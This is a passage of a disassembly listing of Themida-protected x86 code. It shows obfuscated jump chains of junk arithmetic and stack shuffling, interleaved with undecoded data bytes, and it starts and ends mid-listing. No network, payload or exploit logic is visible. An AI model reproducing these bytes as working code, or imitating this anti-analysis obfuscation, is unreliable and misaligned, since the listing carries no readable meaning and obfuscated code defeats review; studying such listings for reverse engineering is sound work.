		dd 660BFF68h, 0B0240489h, 26C680D8h, 0FFB91FE9h, 4C483FFh
		dd 0FF8AD5E9h, 2434FFFFh, 0C5F0E95Fh, 0EB81FFFFh, 48C6582Bh
		dd 5F2434FFh, 0FF97C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE11:				; CODE XREF: Themida_:00555C64j
		push	5B4Fh
		mov	[esp], eax
		mov	eax, 65B17838h
		or	edi, eax
		jmp	loc_55D8A5
; ---------------------------------------------------------------------------
		dd offset loc_425768
		align 2
		dw 5DE9h
		dd 53000034h, 0FFD2D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE35:				; CODE XREF: Themida_:0055F5EDj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 119A2CBEh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 47614909h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 686C7E7Ch
		dec	ebx
		shl	ebx, 3
		xor	ebx, 3EA77D77h
		jmp	loc_55D5E7
; ---------------------------------------------------------------------------


loc_55BE6E:				; CODE XREF: Themida_:00557807j
		xchg	ebx, ebp
		push	edx
		mov	edx, 6DC872EFh
		and	edx, 2C0065E3h
		neg	edx
		xor	edx, 67032B40h
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	7D58h
		jmp	loc_55D761
; ---------------------------------------------------------------------------
aZ41Fp		db '‡4$\1Ãf',0
		dd 0FF8A21E9h, 241431FFh, 0E9241433h, 0FFFFF892h, 0E902E9C1h
		dd 0FFFFA1B9h, 81D10158h, 0CC2F64C1h, 24148B21h, 3F97E9h
		dd 0FFBD5500h, 0F7313E15h, 4E5C1D5h, 0ED814545h, 0EC1EA000h
		dd 15DEF89h, 0CA2FE9F9h, 0D300FFFFh, 5ADBC380h,	4EC81h
		dd 8E90000h, 0BB00001Ah, 26FC573Ch, 2D79E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF09:				; CODE XREF: Themida_:0055B3A8j
		sub	eax, 7A235E1Ch
		sub	eax, edi
		jmp	loc_55D19B
; ---------------------------------------------------------------------------
		db 1, 0D7h, 53h
		dd 0C811BBBBh, 0A755E96Fh, 1C89FFFFh, 5FB6BB24h, 8CE96E64h
		dd 5D00000Eh, 5C240C87h, 0FF8995E9h, 0ADEB80FFh, 0FFC0B60Fh
		dd 4818734h, 0E92D0024h, 2434FF44h, 4C48358h, 1B2168h
		dd 240C8900h, 1B40E952h, 242C0000h, 8B66DF04h, 0C483240Ch
		dd 2B5F6802h, 1C890000h, 500EB324h, 4192E9h, 245C2900h
		dd 491DE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF82:				; CODE XREF: Themida_:0055937Cj
		pop	ecx
		jmp	loc_558348
; ---------------------------------------------------------------------------
		dd 0C7117605h, 6CE95958h, 8B000014h, 5450240Ch,	11A5E958h
		dd 0C3830000h, 241C8704h, 0E924248Bh, 0FFFFA2C8h, 4C681h
		dd 0C6810000h, 4, 5C243487h, 4C581h, 0E9520000h, 0FFFFDE29h
		dd 0C7BF0BBh, 2F29E965h, 895D0000h, 24148BD5h, 4C481h
		dd 6F090000h, 2434FF1Ch, 4C4835Dh, 0FF88E1E9h, 48B66FFh
		dd 0E0895024h, 405h, 42D00h, 4870000h, 34895C24h, 0AEE95424h
		dd 0B500000Bh, 4299E96Dh, 0D3290000h, 50C3015Ah, 0FFDB55E9h
		dd 240C87FFh, 0FFA8AFE9h, 81E689FFh, 4C6h, 4C68300h, 8B243487h
		dd 0DEF72424h, 0FFB59DE9h, 2434FFFFh, 0E3895358h, 4C381h
		dd 0C3810000h, 4, 0FFCB9CE9h, 241489FFh, 28C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C05D:				; CODE XREF: Themida_:00557E28j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55620E
; ---------------------------------------------------------------------------
		dw 5350h
		dd 4BBh, 4815300h, 7D2AEC24h, 0EC2D587Fh, 8B7F7D2Ah
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55C8C4
; ---------------------------------------------------------------------------


loc_55C092:				; CODE XREF: Themida_:00559CBFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_558C08
; ---------------------------------------------------------------------------
		db 1
		dd 30E95FFAh, 5E000019h, 0A3E9D501h, 68FFFFF4h,	3CD9h
		dd 54240C89h, 0FFCD43E9h, 246C81FFh, 459E404h, 12E95D22h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0EB:				; CODE XREF: Themida_:0055C2BFj
		add	esp, 4
		or	eax, eax
		jnz	loc_55E905
		sub	esp, 4
		mov	[esp], esi
		push	2F8A3DCEh
		pop	esi
		mov	edx, 8A05B14Dh
		add	edx, 31793196h
		add	edx, 77032F2Dh
		sub	edx, esi
		sub	edx, 77032F2Dh
		sub	edx, 31793196h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55C168
; ---------------------------------------------------------------------------


loc_55C12C:				; CODE XREF: Themida_:0055F673j
		add	[esp], eax
		pushf
		jmp	loc_556794
; ---------------------------------------------------------------------------


loc_55C135:				; CODE XREF: Themida_:0055C7F4j
		push	20000h
		pop	ecx
		jmp	loc_554C7F
; ---------------------------------------------------------------------------


loc_55C140:				; CODE XREF: Themida_:0055FAF1j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5601CF
		push	ebx
		sub	esp, 4
		jmp	loc_55E466
; ---------------------------------------------------------------------------
		dd 0EB5C781h, 0F7017F54h, 0EB5EF81h, 0E95E7F54h, 44B2h
; ---------------------------------------------------------------------------


loc_55C168:				; CODE XREF: Themida_:0055C127j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5569A1
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 1FA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C181:				; CODE XREF: Themida_:00557E4Dj
		add	edx, eax
		pop	eax
		add	edx, 4
		jmp	loc_55FD57
; ---------------------------------------------------------------------------
		db 66h
		dd 25FF181h, 6602EC83h,	66243489h, 0E91E61BEh, 0FFFFB7A2h
		dd 0F659EA20h, 0B55166DAh, 55C580A0h, 0E580CDFEh, 0A5CD806Fh
		dd 5F9E9h, 4C48300h, 34FFEA89h,	242C8B24h, 4C481h, 0E9550000h
		dd 0FFFFD366h
; ---------------------------------------------------------------------------


loc_55C1D4:				; CODE XREF: Themida_:0055DAEBj
		pop	esp
		pop	edi
		jmp	loc_55D09F
; ---------------------------------------------------------------------------
		db 0BBh
		dd 451A15C6h, 355BD889h, 55206997h, 9F109E0Dh, 0AE1DE92Eh
		dd 483FFFFh, 575B0424h,	4BFh, 0C2EB8100h, 816C4066h, 0D7452DEBh
		dd 883FE95Eh, 0FF57FFFFh, 5F042474h, 0E924048Fh, 0FFFFB93Fh
		dd 511507B9h, 5AD1015Bh, 0D101E983h, 0D1F181E9h, 81738132h
		dd 2E8B74F1h, 59CF014Dh, 2C781h, 0FF570000h, 8B042474h
		dd 1DE9243Ch
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C24B:				; CODE XREF: Themida_:00555FB6j
		xor	esi, 5CD52324h
		or	edx, esi
		pop	esi
		sub	edx, 0FFFFFFFFh
		add	edx, 1253A15Eh
		sub	ebx, edx
		pop	edx
		add	ebx, 3A237C0Ah
		sub	ebx, 500362C6h
		add	ebx, eax
		add	ebx, 500362C6h
		push	7692h
		mov	[esp], esi
		push	3A237C0Ah
		pop	esi
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A18E
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 67853B53h, 0FFE302E9h, 48F5AFFh, 89665C24h, 23E92404h
		dd 1FFFF86h, 0FF565FFEh, 5E042474h, 0FFB156E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C2B9:				; CODE XREF: Themida_:00555312j
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55C0EB
; ---------------------------------------------------------------------------


loc_55C2C4:				; CODE XREF: Themida_:005579F5j
		add	edi, 23B8303Bh
		xor	edi, 36EC2397h
		jmp	loc_55FEEA
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0B850D601h, 163642B1h, 69E9C629h, 83000049h,	1C8904ECh
		dd 4BB24h, 9AE90000h, 89FFFF86h, 22E92414h, 0D1FFFFC9h
		dd 0CA8142E2h, 17413515h, 6C32EA81h, 0DAF72E3Dh, 5CA5C281h
		dd 0D609CFB7h, 0FFDC20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C31D:				; CODE XREF: Themida_:0055832Fj
		sub	ebx, 15245195h
		add	ebx, 0D391C5Eh
		add	ebx, ecx
		jmp	loc_55AB2A
; ---------------------------------------------------------------------------
		dd 0F625F280h, 15C280D2h, 88D78853h, 5A5BF9h, 0D1F65AF1h
		dd 893CE953h, 3431FFFFh, 0BE80E924h, 1635FFFFh,	5126DC0Dh
		dd 0C92499B9h, 0EF1811Bh, 4163DE1Fh, 0C181D9F7h, 4C564A80h
		dd 2959C831h, 762D58C1h, 2958C711h, 0FC0AE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C37E:				; CODE XREF: Themida_:00556222j
		add	esp, 4
		or	ecx, 563D60E7h
		shl	ecx, 1
		inc	ecx
		and	ecx, 371F7148h
		jmp	loc_560242
; ---------------------------------------------------------------------------
		db 88h,	0D0h, 88h
		dd 0D05A58C7h, 0FED7F6EFh, 0E38953C7h, 4C381h, 0EB830000h
		dd 241C8702h, 0B833E95Ch, 0C15EFFFFh, 0E98108E9h, 2C2C7612h
		dd 57DBBE56h, 0DEF7147Eh, 75DBC681h, 0F1095DA9h, 0FFF928E9h
		dd 8B6664FFh, 0EC835702h, 24248904h, 4240483h, 8F78E95Fh
		dd 0EA81FFFFh, 4, 0FFCAF7E9h, 0AC0405FFh, 0C101DFCBh, 4E98158h
		dd 87000000h, 248B240Ch, 24248924h, 0FFB16CE9h,	81E389FFh
		dd 4C3h, 0D0CFE900h, 5450FFFFh,	4BE5658h, 1000000h, 7E95EF0h
		dd 66FFFFD3h, 5024048Bh, 5653E089h, 0A62ADBBEh,	0F7D6F74Eh
		dd 10C681DEh, 81BBEB2Fh, 7F2803C6h, 81C68104h, 0C1437DC7h
		dd 0E0E908E6h, 66FFFFC5h, 0E829665Dh, 242C8B66h, 327668h
		dd 240C8900h, 0FF94C3E9h, 4EDC1FFh, 604CED81h, 0EB89AE4Ah
		dd 30DD2D5Dh, 0CB2D006Dh, 1312A67h, 67CB05D8h, 0F1E9312Ah
		dd 0FFFFFFD0h, 8434E930h, 34FFFFFFh
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_556AAD
; ---------------------------------------------------------------------------
		dw 0E3C0h
		dd 82EB8004h, 4D9F380h,	865AE992h, 8952FFFFh, 3725E9E2h
		dd 15A0000h, 0D4C581DDh, 5B426B5Eh, 0FFF3F5E9h,	2EC81FFh
		dd 66000000h, 66242489h, 2BE6656h, 0E9516600h, 0FFFFEAE2h
; ---------------------------------------------------------------------------


loc_55C4E4:				; CODE XREF: Themida_:005550ADj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_559774
; ---------------------------------------------------------------------------
		dw 489h
		dd 0C3E1E924h, 34FFFFFFh, 86685824h, 89000014h,	0E189240Ch
		dd 0FFEA95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C50D:				; CODE XREF: Themida_:0055B3F9j
		mov	[esp], ebx
		push	ebx
		mov	ebx, 3D745F78h
		add	[esp+4], ebx
		pop	ebx
		pop	ebp
		sub	ebp, 3D745F78h
		jmp	loc_55DF6C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 0E924248Bh,	0FFFFD68Ch, 89243C89h
		dd 8B668E7h, 2C890000h,	546C6824h, 14890000h, 7F85BA24h
		dd 7FBD7B1Fh, 184E080h,	24148BD5h, 81E38953h, 4C3h, 0F7D1E900h
		dd 8B5BFFFFh, 0C4812404h, 4, 8BE8305Bh,	0C481240Ch, 4
		dd 1BB3E9h, 0E9E18900h,	2EA3h, 46E68146h, 813E8670h, 0FFFFFFEEh
		dd 0C3C681FFh, 1C17DCFh, 22DE9F2h, 0BF570000h, 7A051958h
		dd 0FF95C8E9h, 40558FFh, 0E9000000h, 27D3h
; ---------------------------------------------------------------------------


loc_55C5BC:				; CODE XREF: Themida_:00558455j
					; Themida_:0055EB5Fj
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_558CCC
; ---------------------------------------------------------------------------
		db 21h
		dd 240C8BCAh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 4BA7B850h
		dd 0F1E965FCh, 29000035h, 696F68D8h, 34890000h,	27DBBE24h
		dd 0E94E3CC4h, 3176h, 242667BBh, 0DB34E904h, 0C181FFFFh
		dd 4, 4C181h, 0FF510000h, 59042474h, 0E924048Fh, 3E4Ch
		dd 0C681C601h, 0AA221Bh, 5C3EE81h, 48B1BADh, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 0E9243C87h, 824h, 81241C8Bh
		dd 4C4h, 2434FF00h, 0E9240C8Bh,	38D9h, 0E932FF66h, 0FFFF8266h
		dd 0C188D088h, 3BD6858h, 14890000h, 88CE8824h, 24148BF7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_560714
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 2C8BEE01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		sub	edx, 1749703Fh
		add	edx, 41590B03h
		add	edx, eax
		push	eax
		mov	eax, 425B1AD9h
		shl	eax, 2
		add	eax, 37EC9F9Fh
		sub	edx, eax
		jmp	loc_55954F
; ---------------------------------------------------------------------------


loc_55C6D7:				; CODE XREF: Themida_:0055B794j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55DEED
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 4C681h, 34330000h, 24343124h, 5C243433h, 0FF2434FFh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	41C0h
		jmp	loc_560C38
; ---------------------------------------------------------------------------
		dd 16AA68h, 0A196E900h,	5C68FFFFh, 89000062h, 7FE9240Ch
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C72B:				; CODE XREF: Themida_:005571A3j
		pop	esp
		shr	eax, 2
		sub	eax, 7B77EEDh
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 17B36D54h
		push	esi
		mov	esi, 4CAE107Bh
		sub	esi, 1D61A963h
		jmp	loc_55D094
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
		dd 240C8B24h, 5704C483h, 0C7815F54h, 4,	0FFBD88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C769:				; CODE XREF: Themida_:0055B850j
		push	edi
		mov	edi, 32F71D04h
		sub	edi, 4B4D6EA9h
		sub	edi, 44C301DDh
		push	ebx
		jmp	loc_5579FA
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 36h
		dd 89298D18h, 0F53159CEh, 7CBA525Eh, 0E918C355h, 0FFFFB0E3h
		dd 89EA8952h, 0F8895AD7h, 0C1015D5Fh, 240C3358h, 33240C31h
		dd 248B240Ch, 14EEE924h, 0CDFE0000h, 105DE9h, 4BD5500h
		dd 0E9000000h, 0FFFFACACh, 5258C328h, 41E95166h, 8BFFFFDBh
		dd 0C4832434h, 2C28304h, 0FF900BE9h, 8BF529FFh,	1DE92434h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C7EB:				; CODE XREF: Themida_:0055D0E8j
		pop	edx
		mov	bl, ch
		jmp	loc_55F4B8
; ---------------------------------------------------------------------------


loc_55C7F3:				; CODE XREF: Themida_:00558804j
		push	ecx
		jmp	loc_55C135
; ---------------------------------------------------------------------------
		db 49h,	81h, 0C1h
		dd 1D3DBD78h, 2D59C821h, 4D02A12h, 3DBE5655h, 896EC940h
		dd 0E8215EF5h, 0FF860FE9h, 242489FFh, 4240483h,	8324048Fh
		dd 5A042404h, 4C281h, 0C2810000h, 4, 31241433h,	0B6E92414h
		dd 54000020h, 0FF2434FFh, 835A2434h, 895104C4h,	4C181E1h
		dd 57000000h, 0E76541BFh, 0AEF78157h, 68506E3Ch, 0
		dd 5F243C29h, 22E8E781h, 0F7817BC4h, 0F7C1C5Dh,	0A8C7814Fh
		dd 188C7C1h, 139FE9F9h,	0FE5C0000h, 0E99C2404h,	0FFFF8042h
		dd 20BEC180h, 0E0C059C8h, 28BD3403h, 24048BC3h,	0C5B7E955h
		dd 2504FFFFh, 252CE800h, 1C8B5966h, 0E3895324h,	4C381h
		dd 0C3810000h, 4, 0E9241C87h, 3EB8h
; ---------------------------------------------------------------------------


loc_55C8C4:				; CODE XREF: Themida_:0055C08Dj
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 27442AD7h
		add	ebp, eax
		add	ebp, 27442AD7h
		pop	eax
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_5577B2
; ---------------------------------------------------------------------------
		db 1, 0C2h, 68h
		dd 6BF4h, 0FFE34DE9h, 59CD01FFh, 0E3C6850h, 3C890000h
		dd 74EFBF24h, 68555A66h, 5A0126A6h, 0B2ED815Dh,	0E95FDE55h
		dd 0FFFFBDA6h, 15BD831h, 24048BC7h, 4C481h, 3C870000h
		dd 34E95C24h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C92B:				; CODE XREF: Themida_:00557C7Bj
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dd 8B240C87h, 7FE92424h, 81FFFF7Fh, 372445F7h, 0E9F80125h
		dd 1130h, 0E92434FFh, 0FFFF8FDEh, 3C8BFD01h, 0E1895124h
		dd 4C181h, 0C1830000h, 0D9CCE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C97A:				; CODE XREF: Themida_:00556451j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_560076
; ---------------------------------------------------------------------------
		dd 4AB0F66h, 3BE99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C993:				; CODE XREF: Themida_:0055496Cj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0A515E9DDh, 3487FFFFh, 24248B24h, 2424D366h
		dd 7F14E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9BA:				; CODE XREF: Themida_:0055E173j
		push	2754h
		mov	[esp], ebx
		push	34317697h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 34317497h
		jmp	loc_555D0F
; ---------------------------------------------------------------------------
		dd 0F34FAC05h, 2DF0010Fh, 0FF34FACh, 241C8B5Eh,	3697E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C9ED:				; CODE XREF: Themida_:005598ACj
		pop	eax
		jmp	loc_55DD59
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 4246C01h,	0FFCE0DE9h, 7C6859FFh, 89000036h, 2C81242Ch
		dd 0FD1AE524h, 0C181595Eh, 5EFD1AE5h, 0FFC9B2E9h, 0E9132CFFh
		dd 0FFFFB28Ch, 0B9240C89h, 73E1232Eh, 9FBD5549h, 3111B51Ch
		dd 0C8015DE9h, 83240C8Bh, 0D02904C4h, 0FFC5D7E9h, 4BEFFh
		dd 0F0010000h, 4070E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: Themida_:00555BFBj
		push	esi
		mov	esi, 1F6B3DF6h
		neg	esi
		and	esi, 71C72D16h
		jmp	loc_55CA80
; ---------------------------------------------------------------------------
		dd 0E18021B1h, 0BB9BE9C2h, 0D001FFFFh, 2DD8295Ah, 10252651h
		dd 0E9241C8Bh, 0FFFF9AEBh
; ---------------------------------------------------------------------------


loc_55CA80:				; CODE XREF: Themida_:0055CA5Fj
		sub	esi, 52E7D1C3h
		xor	edi, esi
		pop	esi
		push	334Ah
		mov	[esp], esi
		push	360533EAh
		pop	esi
		push	edx
		mov	edx, 174E1CFBh
		inc	edx
		shl	edx, 5
		neg	edx
		push	edi
		mov	edi, 1F733CCDh
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		not	edx
		sub	edx, 5B0297BAh
		sub	esi, edx
		pop	edx
		sub	edi, 1B471464h
		add	edi, esi
		add	edi, 1B471464h
		mov	esi, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_557F01
; ---------------------------------------------------------------------------


loc_55CAE6:				; CODE XREF: Themida_:00555F63j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 728F3623h
		shl	edx, 8
		xor	edx, 8F362304h
		push	edi
		mov	edi, edx
		jmp	loc_556351
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFDFDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB15:				; CODE XREF: Themida_:00556672j
		push	9739F9E6h
		jmp	loc_55E25D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58104EDh, 0C6F4D23h, 7DC8CD81h, 814546FFh,	0A65540EDh
		dd 49C58111h, 1C2A6D7h,	0C6835DEEh, 24348704h, 37EE95Ch
		dd 0C1810000h, 0EB5D2D11h, 0E6E9CB01h, 0FF00000Fh, 68582434h
		dd 6459h, 0FFC9CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB65:				; CODE XREF: Themida_:0055DD5Bj
		mov	edx, 6B9E0740h
		xor	edx, 1DEA5463h
		jmp	loc_5564F9
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0E7h
		dd 290017AEh, 0CF015DE9h, 2C78359h, 8904EC83h, 74FF243Ch
		dd 3C8B0424h, 0E3895324h, 4C381h, 0BE560000h, 1532732h
		dd 0EE81EED1h, 356C3854h, 0D6F7DEF7h, 0A4C0C681h, 0F30134C2h
		dd 0FF8C82E9h, 50525EFFh, 0F61D1B8h, 0C6AABA23h, 0C2296560h
		dd 0FFAC1FE9h, 0BEFFh, 0FE290000h, 815EF789h, 4B7036C7h
		dd 5FF801CAh, 7D76C381h, 25E94DF5h, 83FFFF9Dh, 48704C0h
		dd 0F5815C24h, 2E9109FFh, 8FE9EE89h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBFF:				; CODE XREF: Themida_:005568EFj
		sub	esi, 49E65B49h
		sub	ecx, esi
		pop	esi
		push	3E2h
		mov	[esp], ebp
		mov	ebp, 42C07AFDh
		and	ebp, 552D045Fh
		neg	ebp
		jmp	loc_555C32
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 9CC83B24h, 0FF7C9DE9h, 0C0B60FFFh, 0E98734FFh
		dd 0FFFF7C92h, 0BA241489h, 729A3A9Bh, 9A3A9FBEh, 5AD63172h
		dd 4247401h, 2434FF5Eh,	5124148Bh, 2BA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CC5D:				; CODE XREF: Themida_:0055B975j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55D5AE
; ---------------------------------------------------------------------------
		dd 48E95358h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC7F:				; CODE XREF: Themida_:005589F6j
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_558622
; ---------------------------------------------------------------------------
		dw 0BAh
		dd 1000000h, 8B0A8BDAh,	0C4812414h, 4, 0A89CE95Bh, 515DFFFFh
		dd 4B9h, 59CD0100h, 0E904C583h,	2EC5h, 4A0BE181h, 0E9816686h
		dd 5AB26219h, 0E9D1F741h, 215Dh
; ---------------------------------------------------------------------------


loc_55CCD4:				; CODE XREF: Themida_:00558A36j
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_55FCA7
; ---------------------------------------------------------------------------
		db 51h,	52h, 88h
		dd 5AD188E2h, 8B59CF88h, 0C4812404h, 4,	5B66FD30h, 0C8BE830h
		dd 29E95324h, 5AFFFFC1h, 0E952FB01h, 0FFFFFF8Ah
; ---------------------------------------------------------------------------


loc_55CD0C:				; CODE XREF: Themida_:0055ACDDj
		xor	ecx, 730B2DB1h
		add	ecx, 9014BD86h
		jmp	loc_55E9A9
; ---------------------------------------------------------------------------
		db 66h,	1, 5Ch
		dd 5B660424h, 24348B66h, 0E902C483h, 0FFFF7B9Eh, 13D2E781h
		dd 0C7811C8Bh, 0FFFFFFFFh, 34B3E9h, 18E95800h, 0E9FFFFDCh
		dd 0FFFF7B82h, 0F381FB87h, 3B5E20h, 1AD7BA52h, 0D3314BA7h
		dd 0E4C3815Ah, 0F76B5008h, 0FCB951D3h, 0F72C8C5Ah, 0E4E181D9h
		dd 0F707D47Ah, 3A62E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD7A:				; CODE XREF: Themida_:0055E679j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558ECD
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 7
		dd 8005F480h, 0B6E96AF4h, 1FFFF99h, 55E95EF1h, 89FFFFCBh
		dd 97E92404h, 33000027h, 3C31243Ch, 243C3324h, 48B665Ch
		dd 0ABE95124h, 55FFFFD2h, 645FB2BDh, 8BEB316Eh,	29E9242Ch
		dd 0E9000017h, 0FFFF7AFEh, 27866855h, 0E95D1C37h, 0FFFFEA8Dh
		dd 0BBB95153h, 0BB389148h, 3D0C7FFAh, 165BE381h, 29E9721Ah
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55CDF3:				; CODE XREF: Themida_:00554CF4j
		pop	esp
		push	ecx
		jmp	loc_555C10
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 2414D366h, 7AC4E99Ch, 5068FFFFh, 89000019h
		dd 6FE9242Ch, 50FFFF7Dh, 660E9h, 0BE565700h, 1F9548BEh
		dd 3D1AC681h, 6E9021Dh,	0BBFFFFA1h, 2EC1347Ah, 2D32E950h
		dd 8B660000h, 27E9240Ch
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE43:				; CODE XREF: Themida_:0055E08Dj
		add	esp, 4
		shl	esi, 7
		shr	esi, 2
		shr	esi, 5
		jmp	loc_554F21
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7EC781D7h, 0C10F372Ch, 0F78105EFh, 3F44F718h, 0E95FFA01h
		dd 0FFFFFA75h, 316AE95Ch, 0C4680000h, 0E9000014h, 0FFFF7E95h
		dd 60AB68h, 242C8900h, 0C581E589h, 4, 0E904C583h, 0FFFFA1F6h
		dd 0B5516658h, 0B450517Bh, 58E588C1h, 59EA28h, 2432E9EAh
		dd 0E9570000h, 698h, 240C8B66h,	4EC81h,	2C890000h, 0E95D5424h
		dd 0FFFFF19Eh, 0FF7A01E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CECD:				; CODE XREF: Themida_:00555626j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dd 4BAh, 2BE98100h, 1586F49h, 0EE2FE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CEF2:				; CODE XREF: Themida_:0055E881j
		add	esp, 4
		push	eax
		jmp	loc_55FAF6
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 8B5DEA89h, 0CB68240Ch, 89000061h, 0E954242Ch, 3565h
; ---------------------------------------------------------------------------


loc_55CF14:				; CODE XREF: Themida_:0055D417j
		sub	ah, 27h
		sub	bl, 0B9h
		sub	bl, 2Bh
		jmp	loc_55B951
; ---------------------------------------------------------------------------
		dw 2568h
		dd 89000003h, 0EC812434h, 4, 24048F54h,	4240481h, 5E000000h
		dd 4C681h, 52550000h, 644DF5BAh, 0B20FBD1Dh, 0D501E29Bh
		dd 0E924148Bh, 0FFFFA5B9h, 0C006EAC0h, 0EA8003EAh, 7BB25272h
		dd 0F68DC280h, 5C9E9DAh, 0C4830000h, 4C48104h, 68000000h
		dd 2CBEh, 0E9240489h, 0FFFFEB57h, 0D31ED81h, 0E889C8BAh
		dd 9166E95Dh, 5753FFFFh, 2BFh, 0E9FB8900h, 0FFFF7FD2h
; ---------------------------------------------------------------------------


loc_55CFA0:				; CODE XREF: Themida_:00557FD7j
		mov	[esp], esi
		push	4A63h
